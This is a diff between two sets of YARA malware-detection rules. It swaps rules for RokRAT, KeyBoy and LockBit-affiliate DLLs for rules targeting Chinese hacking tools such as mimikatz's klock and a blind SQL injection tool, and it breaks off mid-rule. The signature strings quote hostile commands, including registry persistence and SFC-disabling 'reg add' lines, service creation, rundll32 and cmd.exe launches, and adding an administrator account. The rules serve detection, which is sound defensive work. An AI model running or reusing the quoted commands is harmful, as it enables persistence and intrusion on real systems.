+rule SIGNATURE_BASE_Goodtoolset_Ms11046 : FILE
 {
 	meta:
-		description = "Detects Ruby ShellCode XOR routine used by ScarCruft APT group"
-		author = "S2WLAB_TALON_JACK2"
-		id = "c393f2db-8ade-5083-9cec-f62f23056f8b"
-		date = "2021-05-20"
+		description = "Chinese Hacktool Set - file ms11046.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a4703861-02a9-5d93-b6de-c3664ca8abb9"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_inkysquid.yar#L104-L133"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a97041a06729d639c22a4ee272cc96555345b692fc0da8b62e898891d02b23ea"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L421-L438"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+		logic_hash = "2fb36a589613f97d0c3a4da58c65352689062a8ba6d432b5f3cf3b51a7e77f8c"
 		score = 75
 		quality = 85
-		tags = "APT"
-		type = "APT"
-		version = "0.1"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$hex1 = {C1 C7 0D 40 F6 C7 01 74 ?? 81 F7}
-		$hex2 = {41 C1 C2 0D 41 8B C2 44 8B CA 41 8B CA 41 81 F2}
+		$s1 = "[*] Token system command" fullword ascii
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii
+		$s3 = "[*] Add to Administrators success" fullword ascii
+		$s4 = "[*] User has been successfully added" fullword ascii
+		$s5 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <840KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_NK_Scarcruft_Evolved_ROKRAT : APT FILE
+rule SIGNATURE_BASE_Cmdshell32 : FILE
 {
 	meta:
-		description = "Detects RokRAT malware used by ScarCruft APT group"
-		author = "S2WLAB_TALON_JACK2"
-		id = "53cabf41-0154-5372-b667-60d8a7cb9806"
-		date = "2021-07-09"
+		description = "Chinese Hacktool Set - file Cmdshell32.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f1dfb5a1-4292-5895-8310-913cfdf4d9d0"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_inkysquid.yar#L135-L179"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01a2f410687c943d6c6e421ffacfe42f9e7b6afb82e43ba03a8d525e075a3a3c"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L440-L455"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3c41116d20e06dcb179e7346901c1c11cd81c596"
+		logic_hash = "cfe3d72d33d7a3c2b70d4fa0767a921c1cfcd360b2094af40b067789cace95af"
 		score = 75
 		quality = 85
-		tags = "APT, FILE"
-		type = "APT"
-		version = "0.1"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$AES_IV_KEY = {
-        C7 44 24 ?? 32 31 12 23
-        C7 44 24 ?? 34 45 56 67
-        C7 44 24 ?? 78 89 9A AB
-        C7 44 24 ?? 0C BD CE DF
-        C7 45 ?? 2B 7E A5 16
-        C7 45 ?? 28 AE D2 A6
-        C7 45 ?? AB F7 15 88
-        C7 45 ?? 09 CF 4F 3C
-        }
-		$url_deocde = {
-               80 E9 0F
-               80 F1 C8
-               88 48 ??
-               48 83 EA 01  }
+		$s1 = "cmdshell.exe" fullword wide
+		$s2 = "cmdshell" fullword ascii
+		$s3 = "[Root@CmdShell ~]#" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		uint16(0)==0x5a4d and filesize <62KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keyboys_Malware_1 : FILE
+rule SIGNATURE_BASE_Sniffer_Analyzer_Ssclone_1210_Full_Version : FILE
 {
 	meta:
-		description = "Detects Keyboys malware"
+		description = "Chinese Hacktool Set - file Sniffer analyzer SSClone 1210 full version.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4e334f62-6ffc-55c3-bcbe-ff4a80fb007d"
-		date = "2017-11-02"
+		id = "69dac4bf-483d-5888-a748-1a52cf372066"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_keyboys.yar#L13-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "78fb48c4b3e09f0d55ca6049601ea62dd526167481725b48de6624bb27fb943b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L457-L473"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6882125babb60bd0a7b2f1943a40b965b7a03d4e"
+		logic_hash = "982a213a106794e2cddb6148b3d3a119ae17fc318ad03237da1018e1859523d7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1d716cee0f318ee14d7c3b946a4626a1afe6bb47f69668065e00e099be362e22"
-		hash2 = "a6e9951583073ab2598680b17b8b99bab280d6dca86906243bafaf3febdf1565"
-		hash3 = "34f740e5d845710ede1d942560f503e117600bcc7c5c17e03c09bfc66556196c"
-		hash4 = "750f4a9ae44438bf053ffb344b959000ea624d1964306e4b3806250f4de94bc8"
-		hash5 = "fc84856814307a475300d2a44e8d15635dedd02dc09a088a47d1db03bc309925"
-		hash6 = "0f9a7efcd3a2b1441834dae7b43cd8d48b4fc1daeb2c081f908ac5a1369de753"
 
 	strings:
-		$x1 = "reg add HKLM\\%s\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d \"%s\" /f" fullword ascii
-		$x3 = "Internet using \\svchost.exe -k  -n 3" fullword ascii
-		$x4 = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v SFCDisable /t REG_DWORD /d 4 /f" fullword ascii
-		$s1 = "sc create %s binpath= \"%s\" Type= share Start= auto DisplayName= \"%s\"" fullword ascii
-		$s2 = "ExecCmd:%s" fullword ascii
-		$s3 = "szCommand : %s" fullword ascii
-		$s4 = "Current user is a member of the %s\\%s group" fullword ascii
-		$s5 = "icacls %s /grant administrators:F" fullword ascii
-		$s6 = "Ping 127.0.0.1 goto Repeat" fullword ascii
-		$s7 = "Start MoveFile %s -> %s" fullword ascii
-		$s8 = "move %s\\dllcache%s %s\\dllcache\\%s" fullword ascii
-		$s9 = "%s\\cmd.exe /c \"%s\"" fullword ascii
+		$s0 = "http://www.vip80000.com/hot/index.html" fullword ascii
+		$s1 = "GetConnectString" fullword ascii
+		$s2 = "CnCerT.Safe.SSClone.dll" fullword ascii
+		$s3 = "(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="68f7eced34c46808756db4b0c45fb589" or (pe.exports("Insys") and pe.exports("Inuser") and pe.exports("SSSS")) or 1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <3580KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keyboy_Installclient : FILE
+rule SIGNATURE_BASE_X64_Klock : FILE
 {
 	meta:
-		description = "Detects KeyBoy InstallClient"
-		author = "Markus Neis, Florian Roth"
-		id = "d1359f35-d6cd-502b-8cf7-6215bf5e62ba"
-		date = "2018-03-26"
+		description = "Chinese Hacktool Set - file klock.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7065a4fb-c867-5a94-b6bb-5b60085bea15"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_keyboys.yar#L52-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "701b87785562dc391191b1e59573c6027b27c4fffe1c9155a82114521c85bc59"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L475-L491"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		logic_hash = "3fe00c08607d20daa055db2f551009ff1c447f1a651d4a78aba91621d53424f5"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b"
-		hash2 = "b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a"
-		hash1 = "d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "egsvr32.exe \"/u bitsadmin /canceft\\windows\\currebitsadmin" ascii
-		$x2 = "/addfibitsadmin /Resumbitsadmin /SetNosoftware\\microsotifyCmdLine " ascii
-		$x3 = "D:\\Work\\Project\\VS\\house\\Apple\\" ascii
-		$x4 = "Bj+I11T6z9HFMG5Z5FMT/u62z9zw8FyWV0xrcK7HcYXkiqnAy5tc/iJuKtwM8CT3sFNuQu8xDZQGSR6D8/Bc/Dpuz8gMJFz+IrYqNAzwuPIitg==" fullword ascii
-		$x5 = "szCmd1:%s" fullword ascii
-		$s1 = "cmd.exe /c \"%s\"" fullword ascii
-		$s4 = "rundll32.exe %s Main" fullword ascii
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "klock.dll" fullword ascii
+		$s3 = "Erreur : le bureau courant (" wide
+		$s4 = "klock de mimikatz pour Windows" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <907KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keyboy_Wab32Res : FILE
+rule SIGNATURE_BASE_Dos_Down32 : FILE
 {
 	meta:
-		description = "Detects KeyBoy Loader wab32res.dll"
-		author = "Markus Neis, Florian Roth"
-		id = "0e4045a7-1c45-5043-9e10-e969219b67f8"
-		date = "2018-03-26"
+		description = "Chinese Hacktool Set - file Down32.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e56c254d-1238-5786-8e8a-f9122b0310a9"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_keyboys.yar#L75-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e23bfeed0587ac69527234dd3f8b4f8c5628128ab667af7b99c4d75ca99459b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L493-L508"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0365738acd728021b0ea2967c867f1014fd7dd75"
+		logic_hash = "c1aaaaaaae2ea720d3fc1516d88d678895bcda81344e8c1f4f57e5a20e770123"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456"
-		hash2 = "fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "B4490-2314-55C1- /Processid:{321bitsadmin /canceft\\windows\\curresoftware\\microso" fullword ascii
-		$x2 = "D:\\Work\\VS\\House\\TSSL\\TSSL\\TClient" ascii
-		$x3 = "\\Release\\FakeRun.pdb" ascii
-		$x4 = "FakeRun.dll" fullword ascii
-		$s1 = "cmd.exe /c \"%s\"" fullword ascii
-		$s2 = "CreateProcess failed (%d)" fullword ascii
-		$s3 = "CreateProcess %s " fullword ascii
-		$s4 = "FindResource %s error " fullword ascii
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s6 = "down.exe" fullword wide
+		$s15 = "get_Form1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <137KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keyboy_Rasauto : FILE
+rule SIGNATURE_BASE_Marathontool_2 : FILE
 {
 	meta:
-		description = "Detects KeyBoy ServiceClient"
-		author = "Markus Neis, Florian Roth"
-		id = "b6c72a91-fda1-5f40-804f-896b25a8813f"
-		date = "2018-03-26"
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "20151673-6779-58ce-872c-81e74a96597d"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_keyboys.yar#L98-L126"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87529000522d5fad4346a0228c96d3adf122587d91b0cff083948787e53cc024"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L510-L525"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "75b5d25cdaa6a035981e5a33198fef0117c27c9c"
+		logic_hash = "7581b63a7bddeac93c65b2943b9f5f568464d8f300bc7385ca73880996bd390b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "rundll32.exe %s SSSS & exit" fullword ascii
-		$x2 = "D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb" fullword ascii
-		$s1 = "cmd.exe /c \"%s\"" fullword ascii
-		$s2 = "CreateProcess failed (%d)" fullword ascii
-		$s3 = "ServiceClient.dll" fullword ascii
-		$s4 = "NtWow64QueryInformationProcess64 failed" fullword ascii
-		$s5 = "pid:%d CmdLine:%S" fullword ascii
-		$s6 = "rasauto32.ServiceMain" fullword ascii
-		$s7 = "del /q/f %s\\%s*" fullword ascii
-		$s8 = "szTmpDll:%s" fullword ascii
-		$s9 = "lpCmdLine:%s" fullword ascii
-		$s0 = "ReleaseFileFromRes:%s ok!" fullword ascii
+		$s3 = "http://localhost/retomysql/pista.aspx?id_pista=1" fullword wide
+		$s6 = "SELECT ASCII(SUBSTR(username,{0},1)) FROM USER_USERS" fullword wide
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (pe.exports("SSSS") or 1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keyboy_876_0X4E20000 : FILE
+rule SIGNATURE_BASE_Scanms_Scanms : FILE
 {
 	meta:
-		description = "Detects KeyBoy Backdoor"
-		author = "Markus Neis, Florian Roth"
-		id = "0b871f62-0f7c-5c94-9b3d-f68832ab64b4"
-		date = "2018-03-26"
+		description = "Chinese Hacktool Set - file scanms.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "50393220-35ae-5d3b-ae3f-5d5eb036c043"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_keyboys.yar#L128-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "092bb19cd7a4250560ea71a3e54780a8fd34a229caa294e4cd5b6d522850d519"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L527-L544"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "47787dee6ddea2cb44ff27b6a5fd729273cea51a"
+		logic_hash = "d6b33e603953194dab67104cbb9649710515050cf73afb18b2c9083a9e228e6d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%s\\rundll32.exe %s ServiceTake %s %s" fullword ascii
-		$x2 = "#%sCmd shell is not running,or your cmd is error!" fullword ascii
-		$x3 = "Take Screen Error,May no user login!" fullword ascii
-		$x4 = "Get logon user fail!" fullword ascii
-		$x5 = "8. LoginPasswd:%s" fullword ascii
-		$x6 = "Take Screen Error,service dll not exists" fullword ascii
-		$s1 = "taskkill /f /pid %s" fullword ascii
-		$s2 = "TClient.exe" fullword ascii
-		$s3 = "%s\\wab32res.dll" fullword ascii
-		$s4 = "%s\\rasauto.dll" fullword ascii
-		$s5 = "Download file:%s index:%d" fullword ascii
-		$s6 = "LogonUser: [%s]" fullword ascii
+		$s1 = "--- ScanMs Tool --- (c) 2003 Internet Security Systems ---" fullword ascii
+		$s2 = "Scans for systems vulnerable to MS03-026 vuln" fullword ascii
+		$s3 = "More accurate for WinXP/Win2k, less accurate for WinNT" fullword ascii
+		$s4 = "added %d.%d.%d.%d-%d.%d.%d.%d" fullword ascii
+		$s5 = "Internet Explorer 1.0" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <300KB and 3 of them
 }
-rule SIGNATURE_BASE_MAL_Backdoor_DLL_Nov23_1 : CVE_2023_4966 FILE
+rule SIGNATURE_BASE_CN_Tools_Pcshare : FILE
 {
 	meta:
-		description = "Detects a backdoor DLL, that was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
-		author = "X__Junior"
-		id = "3588d437-b561-5380-8dac-73a31f4cdb5a"
-		date = "2023-11-23"
+		description = "Chinese Hacktool Set - file PcShare.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0c4e9f9b-9839-56a0-be21-a4e9f19cdfdb"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6788d37301bb82bd4d9584e192e2fb14d4f6c77801b70299097d8ba139219394"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L546-L565"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ee7ba9784fae413d644cdf5a093bd93b73537652"
+		logic_hash = "57bd1629abe0af1345f505514b99deb4e63ebce7363f3b0abcb76e7201d9b7b7"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-4966, FILE"
-		hash1 = "cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63"
-		hash2 = "0eb66eebb9b4d671f759fb2e8b239e8a6ab193a732da8583e6e8721a2670a96d"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ERROR GET INTERVAL" ascii
-		$s2 = "OFF HIDDEN MODE" ascii
-		$s3 = "commandMod:" ascii
-		$s4 = "RESULT:" ascii
-		$op1 = { C7 44 24 ?? 01 00 00 00 C7 84 24 ?? ?? ?? ?? FF FF FF FF 83 7C 24 ?? 00 74 ?? 83 BC 24 ?? ?? ?? ?? 00 74 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 00 04 00 00 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 }
-		$op2 = { 48 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 03 00 00 00 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8D 0D ?? ?? ?? ?? 44 0F B7 05 ?? ?? ?? ?? 48 8B D0 48 8B 4C 24 ?? FF 15 }
+		$s0 = "title=%s%s-%s;id=%s;hwnd=%d;mainhwnd=%d;mainprocess=%d;cmd=%d;" fullword wide
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
+		$s2 = "http://www.pcshares.cn/pcshare200/lostpass.asp" fullword wide
+		$s5 = "port=%s;name=%s;pass=%s;" fullword wide
+		$s16 = "%s\\ini\\*.dat" fullword wide
+		$s17 = "pcinit.exe" fullword wide
+		$s18 = "http://www.pcshare.cn" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or all of ($op*))
+		uint16(0)==0x5a4d and filesize <6000KB and 3 of them
 }
-rule SIGNATURE_BASE_MAL_Trojan_DLL_Nov23 : CVE_2023_4966 FILE
+rule SIGNATURE_BASE_Pw_Inspector : FILE
 {
 	meta:
-		description = "Detects a trojan DLL that installs other components - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
-		author = "X__Junior"
-		id = "1dd87d0a-2b8b-5386-8fdd-40d184c731a4"
-		date = "2023-11-23"
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "888db647-c5d0-5b1b-bcd2-512c1ebeadea"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L24-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9be42742711b4d0440244b507945e074b61c456588580b3263f899a7eb84d8aa"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L567-L582"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4f8e3e101098fc3da65ed06117b3cb73c0a66215"
+		logic_hash = "3b54466d80692923b93689a9e43e30dfbc63e5982cb633120795817098d68e05"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-4966, FILE"
-		hash1 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$op1 = { C7 84 24 ?? ?? ?? ?? 52 70 63 53 C7 84 24 ?? ?? ?? ?? 74 72 69 6E C7 84 24 ?? ?? ?? ?? 67 42 69 6E C7 84 24 ?? ?? ?? ?? 64 69 6E 67 C7 84 24 ?? ?? ?? ?? 43 6F 6D 70 C7 84 24 ?? ?? ?? ?? 6F 73 65 41 C7 84 24 ?? ?? ?? ?? 00 40 01 01 }
-		$op2 = { C7 84 24 ?? ?? ?? ?? 6C 73 61 73 C7 84 24 ?? ?? ?? ?? 73 70 69 72 66 C7 84 24 ?? ?? 00 00 70 63 }
-		$op3 = { C7 84 24 ?? ?? ?? ?? 4E 64 72 43 C7 84 24 ?? ?? ?? ?? 6C 69 65 6E C7 84 24 ?? ?? ?? ?? 74 43 61 6C C7 84 24 ?? ?? ?? ?? 6C 33 00 8D }
+		$s1 = "-m MINLEN  minimum length of a valid password" fullword ascii
+		$s2 = "http://www.thc.org" fullword ascii
+		$s3 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <460KB and all of them
 }
-rule SIGNATURE_BASE_MAL_DLL_Stealer_Nov23 : CVE_2023_4966 FILE
+rule SIGNATURE_BASE_Dll_Loadex : FILE
 {
 	meta:
-		description = "Detects a DLL that steals authentication credentials - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
-		author = "X__Junior"
-		id = "9cfed8ec-1d04-53d7-88ef-2576075cfc33"
-		date = "2023-11-23"
+		description = "Chinese Hacktool Set - file Dll_LoadEx.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "51235448-751e-51ce-93f8-da48eddb2b7f"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L41-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d0c46d855973cb2c0636aed9c67cfbe47ca260ab1bc842fef1d532725c26910"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L584-L603"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "213d9d0afb22fe723ff570cf69ff8cdb33ada150"
+		logic_hash = "588f4f4d0a2f8f8e76de0a5b1217191c1cace69f934582d4fc3c974fb94b8c3e"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-4966, FILE"
-		hash1 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$op1 = { C7 45 ?? 4D 69 6E 69 C7 45 ?? 44 75 6D 70 C7 45 ?? 57 72 69 74 C7 45 ?? 65 44 75 6D C7 45 ?? 70 00 27 00 C7 45 ?? 44 00 62 00 C7 45 ?? 67 00 68 00 C7 45 ?? 65 00 6C 00 C7 45 ?? 70 00 2E 00 C7 45 ?? 64 00 6C 00 C7 45 ?? 6C 00 00 00}
+		$s0 = "WiNrOOt@126.com" fullword wide
+		$s1 = "Dll_LoadEx.EXE" fullword wide
+		$s3 = "You Already Loaded This DLL ! :(" ascii
+		$s10 = "Dll_LoadEx Microsoft " fullword wide
+		$s17 = "Can't Load This Dll ! :(" ascii
